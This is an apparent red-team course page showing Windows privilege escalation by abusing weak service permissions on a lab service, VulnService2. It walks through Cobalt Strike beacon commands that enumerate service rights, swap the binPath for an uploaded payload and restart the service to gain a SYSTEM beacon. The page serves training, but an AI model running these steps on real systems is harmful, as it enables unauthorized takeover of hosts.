> For the complete documentation index, see [llms.txt](https://yamortsa.gitbook.io/rto/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yamortsa.gitbook.io/rto/host-privilege-escalation/weak-service-permissions.md).

# Weak Service Permissions

This output from SharpUp shows that VulnService2 is "modifiable".

```
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices

=== Modifiable Services ===

	Service 'VulnService2' (State: Running, StartMode: Auto)
```

\\

However, it doesn't show exactly what the permissions are, so we need to dig a little deeper. [This](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/) PowerShell script will print which service rights we have.

```
beacon> powershell-import C:\Tools\Get-ServiceAcl.ps1
beacon> powershell Get-ServiceAcl -Name VulnService2 | select -expand Access

ServiceRights     : ChangeConfig, Start, Stop
AccessControlType : AccessAllowed
IdentityReference : NT AUTHORITY\Authenticated Users
IsInherited       : False
InheritanceFlags  : None
PropagationFlags  : None
```

\\

We can see that all *Authenticated Users* have *ChangeConfig*, *Start* and *Stop* privileges over this service. We can abuse these weak permissions by changing the binary path of the service - so instead of it running `C:\Program Files\Vulnerable Services\Service 2.exe`, we can have it run something like `C:\Temp\payload.exe`.

First - validate that the current path is `"C:\Program Files\Vulnerable Services\Service 2.exe"` (also note that the path is quoted).

```
beacon> run sc qc VulnService2
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VulnService2
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Vulnerable Services\Service 2.exe"
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : VulnService2
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem
```

\\

Next, upload a service binary payload and reconfigure the binary path on the vulnerable service.

```
beacon> mkdir C:\Temp
beacon> cd C:\Temp
beacon> upload C:\Payloads\tcp-local_x64.svc.exe

beacon> run sc config VulnService2 binPath= C:\Temp\tcp-local_x64.svc.exe
[SC] ChangeServiceConfig SUCCESS
```

\\

The space after `binPath=` is intentional as this is how it's documented in sc's help documentation.

\\

Validate that the path has indeed been updated.

```
beacon> run sc qc VulnService2

SERVICE_NAME: Vuln-Service-2
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Temp\tcp-local_x64.svc.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : VulnService2
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem
```

\\

Because the service is currently running (as can be seen with `sc query VulnService2`), we must stop and then start the service to execute our malicious binary.

```
beacon> run sc stop VulnService2
beacon> run sc start VulnService2

beacon> connect localhost 4444
[+] established link to child beacon: 10.10.123.102
```

\\

To restore the previous binary path:

```
beacon> run sc config VulnService2 binPath= \""C:\Program Files\Vulnerable Services\Service 2.exe"\"
[SC] ChangeServiceConfig SUCCESS
```

The additional set of escaped quotes is necessary to ensure that the path remains fully quoted, otherwise you could introduce a new unquoted service path vulnerability.